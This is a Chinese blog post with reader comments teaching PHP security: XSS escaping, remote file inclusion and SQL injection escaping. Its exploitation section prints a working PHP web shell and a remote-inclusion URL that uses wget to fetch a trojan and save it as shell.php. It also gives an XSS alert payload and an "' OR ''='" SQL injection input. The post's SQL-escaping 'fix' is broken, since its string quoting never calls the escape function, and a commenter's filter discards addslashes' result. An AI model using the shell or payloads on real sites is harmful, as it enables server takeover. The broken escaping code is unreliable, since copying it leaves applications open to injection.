> PHP 的代码安全一直是一个重点,我们需要在存储数据的之前过滤,需要在读取之后转义。
> 以防范有可能出现的攻击。看这个图,人民网微博上线没多久就杯具鸟,╮(╯▽╰)╭。

> 最近又出现了 Phpwind 的几个漏洞,WP2.7 也有出现漏洞,QQMail 也出现XSS。
> P.s. 最近看了《神话》,吕素居然就这样挂了,杯具啊杯具,受不鸟,都不想继续看了。
一. PHP的一些安全要点:
1. 表单数据转意:
> 一般来说,我们如果需要输出获取到的表单数据,输出之前一定要记得转义才好。
> 如果没有转义的话,就会出现漏洞,比如XSS。假设有一个未进行转义的留言本程序。
> 我们在一个输入框中写入以下的代码,代码是JS的一个警告窗口弹出效果。
1 | <script>alert('站点已被占领 by XXX黑客团队')</script> |
> 这样当大家浏览到这个留言本页面的时候就会弹出一个灰常简单又牛叉的窗口,哈哈。
> 比如下面这个是人民网微博闹出来的一个大乌龙,人民微博一上线就被群体爆菊了。

> 所以,我们需要将 "< " ">" 等一些被执行的入侵代码中包含的字符进行转义。
> 所以我们就需要用到函数 htmlspecialchars,很帅的函数 O(∩_∩)O。
> 这个函数会影响到的字符如下,这样子处理就可以正常查看而且不会被执行啦。
1 2 3 4 5 6 7 8 9 | > 1 - & (和号) 成为 & > 2 - " (双引号) 成为 " > 3 - ' (单引号) 成为 ' > 4 - < (小于) 成为 < > 5 - > (大于) 成为 > > 1 - ENT_COMPAT - 默认。仅编码双引号 > 2 - ENT_QUOTES - 编码双引号和单引号 > 3 - ENT_NOQUOTES - 不编码任何引号 |
1 2 | //嘻嘻,用法就应该像下面这个样子呢。 echo htmlspecialchars($_GET['psw'], ENT_QUOTES); |
2. 远程包含漏洞:
> 远程包含漏洞出现在 include() require() include_once() require_once() 中。
> 因为这几个函数是可以像下面这个例子一样执行代码的,灰常牛叉的一种功能。
> 这是一个 Phpwind 爆出的漏洞,文件在 apps/groups/index.php。
> 而出现的原因则是变量未初始化,$route 和 $basePath 都没有初始化。
1 2 3 4 5 6 7 8 | <?php if ($route == "groups") { require_once $basePath . '/action/m_groups.php'; } elseif ($route == "group") { require_once $basePath . '/action/m_group.php'; } elseif ($route == "galbum") { require_once $basePath . '/action/m_galbum.php'; } |
> 我们影响变量的值使其包含 http://www.evlos.org/action/m_galbum.php。
> 一般来说远程包含PHP文件是需要不支持PHP的空间的,因为支持的话就会包含失败。
> 也就是说,如果可以的话,远程包含一般是包含 m_galbum.txt 这样的文件。
> 所以不支持PHP的空间显示PHP文件的时候,会直接显示源代码的,就等同于文本。
3. 如何利用远程包含漏洞:
> 简单举一个例子,我们把下面的文件保存为 command.txt 文件假设地址如下。
> 类型为纯文本即可。http://tool.evlos.org/file/command.txt。
1 2 3 4 5 6 7 | <?php if (get_magic_quotes_gpc()) { $_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]); } ini_set("max_execution_time",0); passthru($_REQUEST["cmd"]); ?> |
> 假设出现漏洞的文件是这个傻傻的样子,代码如下,O(∩_∩)O 嘎嘎。
> 同时假设地址为 - http://tool.evlos.org/file/index.php。
1 2 3 | <?php include $_GET['test']; ?> |
> 假设木马地址为 - http://tool.evlos.org/file/mm.txt
> 在 Linux 主机上面我们就可以在地址栏输入以下代码将木马传到目标主机上。
1 2 3 | http://tool.evlos.org/file/index.php?test= http://tool.evlos.org/file/command.txt?cmd= wget http://tool.evlos.org/file/mm.txt -O shell.php |
4. SQL 输入转义:
> 过滤了 $_GET $_POST $_COOKIE 几个常见的输入来源之后。
> 我们也要用 mysql_real_escape_string 函数来保护 Mysql 数据库。
> 这是一个简单的防注入技巧,代码如下,这个样子就可以咯。
1 2 3 4 5 6 7 | <?php $sqlc = "UPDATE users SET name='.mysql_real_escape_string($user).' WHERE id='.mysql_real_escape_string($id).'"; mysql_query($sqlc); ?> //受影响的字符 \x00 \n \r \ ' " \x1a |
> 假设未进行保护,那么就会有可能出现最熟悉的 “or=” Mysql 注入漏洞了。
1 2 3 4 5 6 7 8 9 10 11 | <?php mysql_connect("localhost", "hello", "321"); $sql = "SELECT * FROM users WHERE user='{$_POST['user']}' AND password='{$_POST['pwd']}'"; mysql_query($sql); // 假设传输过来的数据像下面这个样子。 // $_POST['user'] = 'john'; // $_POST['pwd'] = "' OR ''='"; ?> |
二. 睡觉去咯:
> 今天看到一个阿三的演讲,描绘了虚拟现实世界结合的完美生活,灰常鸡冻。
> 开一个叫兽处的传送门 - http://www.chunbaba.net/blog/?p=554
> Phpwind 7.5 的漏洞和 WordPress 2.7 的漏洞,它们的详细信息在这里。
> 开俩传送门 - http://www.80vul.com/pwvul/phpwind.txt
> 还有WP的门 - http://www.80vul.com/exp/wordpress.txt
> 最近搜狐上线的搜搜舞文弄墨服务,可以生成藏头诗和层层递进的诗,嘿嘿嘿。
> 传送门 - http://labs.soso.com/app.q?app=makepoem

>
好咯,小邪就讲解到这里了,好多童鞋都觉得小邪的文章太长了呢。
> 所以小邪以后会尽量短小精悍一点,囧,貌似这篇文章还是有点长。
> 那么祝愿有兴趣阅读的盆友坚挺一点儿,小邪又要去睡觉罗 Zzzz 晚安呐。
网上有沙发~
好久没坐过了
@Auston Jary,
搜搜舞文弄墨服务...
才知道
难道最近冒出来的那么多湿人都是
@Auston Jary,
又被小邪爆了
@Auston Jary , 汗 ~ 最近有冒出来很多湿人吗?!
完了,估计小邪要被折磨了 ~
@619 , 囧,不是想爆你拉,是刚刚在Cnbeta看到,所以才发出来 ~
http://u.evlos.org/b0
@Auston Jary , 呵呵,冬天躺在又大又软的沙发里,爽呐 ~
坐个板凳睡觉
@Auston Jary , 呵呵,祝你做个好梦 ~
地板来了,我发现网上搜索的WordPress防盗链方法都不行哎,小邪有什么见解吗?
@北街 , 杯具,如果都不行就表示是你的主机不支持 mod_rewrite ~
问问你的主机商吧 ~
地板太凉了,坐会回去睡觉咯!哈哈
@北街 , 囧,天花板很暖和的 ~
最近搜狐上线的搜搜舞文弄墨服务?小马哥看了会哭的!
@阿吴 , 呵呵,听说最近冒出来很多湿人吗?!
619刚刚看到小邪曝光这个服务,鸡冻了 ~
太高深,完完全全没看懂
@万戈 , 呵呵,万戈兄太谦虚了 O(∩_∩)O ~
function checkcontent($content)
{
if (!get_magic_quotes_gpc()) {
if (is_array($content)) {
foreach ($content as $key=>$value) {
$content[$key] = addslashes($value);
}
} else {
addslashes($content);
}
}
$content = htmlspecialchars($content);
return $content;
}
这个我正在用,效果挺不错,单引号不怕,双引号照杀,or,=,and这些直接跳到错误页面,连结果都不给你看,当然这是后话
@Jerry Chen , 哇,太感谢你了 ~
小邪会认真学一学的 ~
@邪 罗刹,
错了,and or =这些是无视而已。。
@Jerry Chen , 哦,好的,~\(≧▽≦)/~了解啦 ~
不过or,=和and这些就不需要过滤了,对于我来说,因为你能够用到这些的地方,只是写入,而不是query
@Jerry Chen , 哦,这样,多谢,解释好详细呐 ~
@邪 罗刹,
因为写入的时候and,or这些会当作内容写入,是不会执行的。如果是做query即是查询的时候需要过滤而已。
@邪 罗刹 , 哦,原来如此呐 ~
不错!等考完试写个phpwind2.7的漏洞利用!
@Kada,
你还用phpwind 2.7的?我佩服。。
@Kada , 囧,pw 2.7?!天呐,现在都7.5鸟 ~ 别吓小邪 ~
@邪 罗刹,
嗯?我怎么写的是2.7???哈哈。神了
@Kada , 呵呵,可能是太晚了你太累了吧,别累着自己了 ~ 晚上要早点休息 ~
估计把wp2.7看混了吧 ~
@邪 罗刹,
没有看混,回复的时候脑袋想WordPress去了。哈哈。
@Kada , 嘎嘎嘎,WP还是蛮有魅力的 ~
学习下PHP过滤方法。。以后用到再补看~~~
@fatkun , 呵呵,对你有用真让小邪高兴 ~
所以嘛,找个用户群少的程序,就很少有人去找它的漏洞~
哎呀,IE6下这个评论框把边栏撑爆啦~~
杯具的我在公司只有杯具的IE6可以用。。。
@路人假 , 汗 ~ 别吓小邪,小邪刚刚有老妈电脑上的 ie 6.0.2900 测试过 ~ 完全正常的呀 ~
@邪 罗刹,
哈哈,我发现了,只要我打个中文的逗号,这个框就会变大~~好神奇。。。神奇的ie6...
@路人假 , 囧,IE6绝对是神器 ~ 膜拜下 ~
有么玩过asp?asp经常被挂iframe木马是怎么回事?
@Rusaer , Asp太多漏洞了,是茶几,大茶几 ~
以前学过一点儿 ~ 后来入侵倒是比写要拿手一点 ~
Iframe不是Asp专有的,是Html里的元素 ~
他可以在一个网页里面包含另外一个网页 ~
所以另外一个网页可以是带木马的 ~
@Rusaer,
Microsoft一起出来的垃圾
@Jerry Chen , 可以这样说 ~ 最近微软老整出一些垃圾 ~
什么Pivot之类的 ~ IE全系列就是一排杯具而已 ~
@Rusaer,
iframe这么危险的东西就不要用啦~
@路人假 , 恩,而且小邪也觉得执行效率不高 ~ 很不爽的说 ~
这年头也没多少人用了,小邪某次居然看到有童鞋在wp上面的侧边栏上用 ~
当场就震精鸟 ~
看不懂的说!
回去让我家技术支持来学习学习,我想应该会是个很有用的东东
@真爱左右 , 汗 ~ 你家的技术支持 ~ 牛叉 ~ 哈哈 ~
希望小邪的文章对他有用呐 小邪就会很高兴的 ~
一个漏洞引发的故事,,,,本来可以作为商机的 结果 有人自己管不住自己 泄露啦
@苏扬 , 呵呵,纸总是包不住火的,迟早要曝光呐 ~
阿三好牛X,貌似说要开发源码。。没见啊。。。哇哈哈
@Nox , 恩啊,阿三不简单,那家伙MIT出身 ~
看起来是不是get方式惹得祸....
@g , 不是呐 ~ 要是这样说的话 ~ GET POST Include 什么的都惹祸了 ~
而这里小邪只是拿GET举个例子而已 ~ 呵呵 ~
php才是我的梦想哈哈...阿吴 我以后会跟你对峙意见的
@漠岚 , 阿吴?!他学C来着 ~ 呵呵 ~ 你打算用PHP战胜C?嘎嘎,小邪支持你 ~
这么吓人呢?人民网不是D主办的么?也能杯具?
@九站 , 只能说人民网微博的开发者有才啊 ~
> P.s. 最近看了《神话》,吕素居然就这样挂了,杯具啊杯具,受不鸟,都不想继续看了。
整篇文章里就这能看懂,还是部我没看过的电视剧……我都想跳大明湖了,想想太冷算了,我还是回去找《神话》补补课……
@喵喵呜 , 囧,别怕,待会儿小邪把你从湖里捞起来 ~ 然后晾干 ~
完全不懂php,虽然我玩过的网站都是php的==
@江流 , 呵呵,没关系呐,网站玩得好也是长处 ~
那个科技宅阿三哥 让苹果泪流满面!
@Revolution , 阿三不简单 ~ 哈哈 ~
微软苹果都要内牛满面了 ~
但是要是随身性强的设备一出来 ~
肯定很多地方要用的搜索技术 ~
谷歌笑而不语 ~
晕 我看到你在别人的站上留言最有印象的就是 “睡觉去咯”
@TONY , o(╯□╰)o,不会吧 ~ 难道没有淫荡一点的印象???
@邪 罗刹,
好吧 我承认你好淫荡!
@TONY , 承让 承让 ~ ╮(╯▽╰)╭
第三条不错啊,搞得我都想试试,我正好装了个linux系统。
@真好网 , 呵呵,那到时候你搞定了,要记得叫小邪去围观喔 ~
我是不是坐在地洞里了............
小邪很好的娃....自愧不如。。
@smigoo , 来来,小邪给MM铺一层软软的垫子 ~
地洞也是不错的,大冬天的其他几位可都在外面冻着 ╮(╯▽╰)╭ ~
嘎嘎,太谦虚了你,在设计上,小邪对你也是自愧不如呐 ~
我觉得你的文章是越来越专业了,看的我一头雾水呀!
@真爱左右 , 呵呵,习惯就好鸟 ╮(╯▽╰)╭
怎么说我的邮箱不正确?换个邮箱
@真爱左右 , 囧,不会吧,评论已经发成功了额 ~
PHP小白前来报道。
因为配图勾起我一段美好的回忆,所以我觉得太有必要回复一下了
@猴子 , 呵呵,欢迎来玩 ~
囧,人民网杯具原来是美好的回忆 ~
哇咔咔,嘿嘿 ~ 牛叉 ~
人民网这次太丢脸了,呵呵~
@疾风 , 呵呵,丢大发了 ~
貌似消息也被稍稍封锁了 ~
小邪也是费了老大劲才找到大于600px的配图 ╮(╯▽╰)╭ ~
看不到人民网被爆的图片·~~~杯具啦
@magicshui , 现在好了,刚刚把所有图片从Flickr换到另外个图床 ~ 不好意思了 ~
@magicshui , 额,对了,原来你的网站换域名了,哎,一直都不知道 ~
还说怎么都上不去了呢 ~
重新订阅下 ~
@邪 罗刹,
嗯嗯~以前没有换过域名~这次换的也很急促没有准备好,给朋友们造成不便了~
@magicshui , 呵呵,建议到处去留留言 ~
然后 P.s. 一句说换域名了 ~ 嘿嘿嘿 ~
以后换域名之类的事情别忘了通知小邪喔 ~
搜搜的藏头诗和递进诗玩过一下,感觉还行,可以玩一玩,还有搜搜是腾讯的,你这么说,马化腾很不爽。
@陈佳 , 大囧,怎么是腾讯的?!杯具了,杯具了,还是你够仔细,多谢 ~
那小邪就订阅下你的博客咯 ~
从安全角度来讲,在开发应用尤其是web应用的时候,所有用户提交的数据都是不安全的,这是基本原则,所以我们才不厌其烦的又是客户端验证又是服务端验证
@Roam , 呵呵,够专业 ~
真麻烦,为什么PHP不把这些东西自己搞定哩 ~ ╮(╯▽╰)╭
对这个不大懂... 有空再来学习一下.
@柳城 , 呵呵,你太谦虚了 ~
订阅里看不到图片 所以我跑来了- -.
@mice , 囧,别让小邪升起邪恶的想法,到时候不让阅读器显示图片,您老就得天天跑来,哈哈 ~
开玩笑的,昨天小邪把图片转移到 Photobucket 去鸟 ~ 所以你看不到 ~
代码帝,编程狂。。。
@SATURN , 囧,你是同步控,换皮控,嘎嘎 ~
@邪 罗刹,
@SATURN , 嘻嘻